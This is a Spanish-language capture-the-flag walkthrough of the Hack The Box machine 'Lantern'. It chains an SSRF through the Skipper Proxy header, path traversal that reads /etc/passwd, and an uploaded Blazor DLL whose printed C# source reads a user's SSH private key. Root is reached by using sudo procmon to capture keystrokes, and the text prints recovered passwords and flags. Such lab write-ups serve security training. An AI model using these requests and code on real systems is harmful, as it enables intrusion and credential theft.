Lantern

OS: Linux
Dificultad: Difícil
Puntos: 40

Nmap

nmap -v -p- --min-rate=5000 10.10.11.29
nmap -p 22,80,3000 -sV -sC -oN nmap.txt 10.10.11.29
Nmap scan report for 10.10.11.29
Host is up (0.029s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 80:c9:47:d5:89:f8:50:83:02:5e:fe:53:30:ac:2d:0e (ECDSA)
|_  256 d4:22:cf:fe:b1:00:cb:eb:6d:dc:b2:b4:64:6b:9d:89 (ED25519)
80/tcp   open  http    Skipper Proxy
|_http-title: Did not follow redirect to http://lantern.htb/
|_http-server-header: Skipper Proxy
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 404 Not Found
|     Content-Length: 207
|     Content-Type: text/html; charset=utf-8
|     Date: Thu, 22 Aug 2024 07:01:39 GMT
|     Server: Skipper Proxy
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Content-Length: 225
|     Content-Type: text/html; charset=utf-8
|     Date: Thu, 22 Aug 2024 07:01:34 GMT
|     Location: http://lantern.htb/
|     Server: Skipper Proxy
|     <!doctype html>
|     <html lang=en>
|     <title>Redirecting...</title>
|     <h1>Redirecting...</h1>
|     <p>You should be redirected automatically to the target URL: <a href="http://lantern.htb/">http://lantern.htb/</a>. If not, click the link.
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Allow: HEAD, OPTIONS, GET
|     Content-Length: 0
|     Content-Type: text/html; charset=utf-8
|     Date: Thu, 22 Aug 2024 07:01:34 GMT
|_    Server: Skipper Proxy
3000/tcp open  ppp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 500 Internal Server Error
|     Connection: close
|     Content-Type: text/plain; charset=utf-8
|     Date: Thu, 22 Aug 2024 07:01:38 GMT
|     Server: Kestrel
|     System.UriFormatException: Invalid URI: The hostname could not be parsed.
|     System.Uri.CreateThis(String uri, Boolean dontEscape, UriKind uriKind, UriCreationOptions& creationOptions)
|     System.Uri..ctor(String uriString, UriKind uriKind)
|     Microsoft.AspNetCore.Components.NavigationManager.set_BaseUri(String value)
|     Microsoft.AspNetCore.Components.NavigationManager.Initialize(String baseUri, String uri)
|     Microsoft.AspNetCore.Components.Server.Circuits.RemoteNavigationManager.Initialize(String baseUri, String uri)
|     Microsoft.AspNetCore.Mvc.ViewFeatures.StaticComponentRenderer.<InitializeStandardComponentServicesAsync>g__InitializeCore|5_0(HttpContext httpContext)
|     Microsoft.AspNetCore.Mvc.ViewFeatures.StaticC
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Content-Length: 0
|     Connection: close
|     Date: Thu, 22 Aug 2024 07:01:43 GMT
|     Server: Kestrel
|   Help: 
|     HTTP/1.1 400 Bad Request
|     Content-Length: 0
|     Connection: close
|     Date: Thu, 22 Aug 2024 07:01:38 GMT
|     Server: Kestrel
|   RTSPRequest: 
|     HTTP/1.1 505 HTTP Version Not Supported
|     Content-Length: 0
|     Connection: close
|     Date: Thu, 22 Aug 2024 07:01:44 GMT
|     Server: Kestrel
|   SSLSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Length: 0
|     Connection: close
|     Date: Thu, 22 Aug 2024 07:01:59 GMT
|_    Server: Kestrel

Enumeration

Inspeccionando la pagina vemos que se esta ejecutando sobre un proxy Skipper Proxy.

Investigamos que este proxy puede llegar a ser vulnerable a SSRF como lo mencionan los siguientes blogs.

https://www.exploit-db.com/exploits/51111
https://github.com/advisories/GHSA-f2rj-m42r-6jm2

Lo ponemos a prueba y verificamos que si es vulnerable ya que descubrimos 2 puertos locales diferentes.

La aplicacion esta utilizando blazor .NET, por lo tanto podemos acceder a los archivos locales de blazor.

https://github.com/SteveSandersonMS/blazor-benchmarks/tree/master/_framework

GET /_framework/blazor.boot.json HTTP/1.1
Host: lantern.htb
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
X-Skipper-Proxy: http://127.0.0.1:5000

Descargamos el dll para inspeccionarlo.

┌──(root㉿kali)-[~/Lantern]
└─# curl -H "X-Skipper-Proxy: http://127.0.0.1:5000" http://lantern.htb/_framework/InternaLantern.dll -o InternaLantern.dll
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 55808    0 55808    0     0   347k      0 --:--:-- --:--:-- --:--:--  349k

Encontramos las credenciales haciendo reversing.

admin : AJbFA_Q@925p9ap#22

Se pueden utilizar en el puerto 3000.

Path Traversal

En el apartado de Files vemos el codigo de la aplicacion e identificamos que puede ser vulnerable a path traversal el siguiente endpoint.

Confirmamos la vulnerabildad.

GET /PrivacyAndPolicy?lang=../../../../../&ext=./etc/passwd HTTP/1.1
Host: lantern.htb
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
X-Skipper-Proxy: http://127.0.0.1:8000

Blazor Deserialize

En el apartado de Choose module si escribimos otra caso vemos un mensaje de error con un path.

Si subimos un archivo en Upload Content vemos los siguiente.

Este input puede ser mas comodo manejarlo con la extension de BurpSuite Blazor Traffic Processor. Modificamos el path para subir el archivo en la carpeta de componentes.

Capturamos una request para subir archivo y modificamos el payload.

Una vez que se subio correctamente podemos comprobarlo desde el Path Traversal.

Dotnet read files

Podemos crear nuestro dll y ponerlo en la carpeta componentes para posteriormente ejecutarlo. Instalamos dotnet sdk 6 con el siguiente recurso.

https://learn.microsoft.com/en-us/dotnet/core/install/linux-debian

wget https://packages.microsoft.com/config/debian/12/packages-microsoft-prod.deb -O packages-microsoft-prod.deb
sudo dpkg -i packages-microsoft-prod.deb
rm packages-microsoft-prod.deb
sudo apt-get update
sudo apt-get install -y aspnetcore-runtime-6.0
sudo apt-get install -y dotnet-runtime-6.0

Una vez instalado creamos nuestro proyecto.

dotnet new classlib -f net6.0 -n readfile
cd readfile
dotnet add package Microsoft.AspNetCore.Components --version 6.0.0

Modificamos el archivo Class1.cs con el siguiente codigo.

using Microsoft.AspNetCore.Components;
using Microsoft.AspNetCore.Components.Rendering;
using System.IO;

namespace readfile{
        public class Component:ComponentBase {
                protected override void BuildRenderTree(RenderTreeBuilder builder) {
                        base.BuildRenderTree(builder);
                        string file = File.ReadAllText("/home/tomas/.ssh/id_rsa");
                        builder.AddContent(0, file);
                }
        }
}

Por ultimo compilamos el codigo.

dotnet build -c Release

Ahora repetimos el proceso anterior para subir nuestro dll en /opt/components para posteriormente ejecutarlo.

Obtenemos la llave rsa, le damos formato.

sed -i 's/ /\n/g' tomas-rsa
chmod 400 tomas-rsa

Nos conectamos por SSH.

┌──(root㉿kali)-[~/Lantern]
└─# ssh -i tomas-rsa tomas@10.10.11.29
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-118-generic x86_64)

You have mail.
Last login: Thu Aug 22 12:53:25 2024 from 10.10.14.36
tomas@lantern:~$ id
uid=1000(tomas) gid=1000(tomas) groups=1000(tomas)
tomas@lantern:~$ cat user.txt 
3b103b71a260e62394137b2596f08c23
tomas@lantern:~$

Privilege Escalation

Hay un correo para el usuario tomas.

tomas@lantern:~$ ls -la /var/mail/
total 12
drwxrwsr-x  2 root  mail 4096 Dec 27  2023 .
drwxr-xr-x 14 root  root 4096 Dec 24  2023 ..
-rw-r--r--  1 tomas mail  539 Jul 31 12:00 tomas
tomas@lantern:~$ cat /var/mail/tomas 
From hr@lantern.htb Mon Jan 1 12:00:00 2023
Subject: Welcome to Lantern!

Hi Tomas,

Congratulations on joining the Lantern team as a Linux Engineer! We're thrilled to have you on board.

While we're setting up your new account, feel free to use the access and toolset of our previous team member. Soon, you'll have all the access you need.

Our admin is currently automating processes on the server. Before global testing, could you check out his work in /root/automation.sh? Your insights will be valuable.

Exciting times ahead!

Best.

El usuario tiene privilegios root en el siguiente comando.

tomas@lantern:~$ sudo -l
Matching Defaults entries for tomas on lantern:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User tomas may run the following commands on lantern:
    (ALL : ALL) NOPASSWD: /usr/bin/procmon

Identificamos el siguiente proceso segun lo que decia el correo.

tomas@lantern:~$ ps aux | grep '/root/automation.sh'
root        5102  0.0  0.1   7272  4168 pts/0    Ss+  13:00   0:00 nano /root/automation.sh
tomas      30440  0.0  0.0   6620  2244 pts/1    S+   13:03   0:00 grep --color=auto /root/automation.sh

Nos conectamos al proceso.

tomas@lantern:~$ sudo procmon -p 5102

Esperamos unos minutos a que capture varios paquetes alrededor de 5000 y oprimimos la tecla F6 para guardar los datos y cerramos. Nos crea un archivo db.

tomas@lantern:~$ ls
LanternAdmin  procmon_2024-08-22_13:13:03.db  snap  user.txt

Copiamos el archivo.

┌──(root㉿kali)-[~/Lantern]
└─# scp -i tomas-rsa tomas@10.10.11.29:/home/tomas/procmon_2024-08-22_13:13:03.db .
procmon_2024-08-22_13:13:03.db

Despues de analizar la informacion utilizamos sqlite para filtar el contenido.

┌──(root㉿kali)-[~/Lantern]
└─# sqlite3 procmon_2024-08-22_13:13:03.db 
SQLite version 3.46.0 2024-05-23 13:25:27
Enter ".help" for usage hints.
sqlite> .output out.txt
sqlite> SELECT hex(substr(arguments,9,resultcode)) FROM ebpf WHERE resultcode > 0 ORDER BY timestamp;

Utilizando cyberchef decodeamos la informacion.

Descargamos la informacion y vemos una especie de password.

┌──(root㉿kali)-[~/Downloads]
└─# cat download.dat 
e
e
e
e
e
echo Q3Eddtdw3pMB

Ese password lo utilizamos para el usuario root.

tomas@lantern:~$ su root
Password: 
root@lantern:/home/tomas# cd
root@lantern:~# cat root.txt 
caaaa25667c94fec136ce8d5605e303a
root@lantern:~#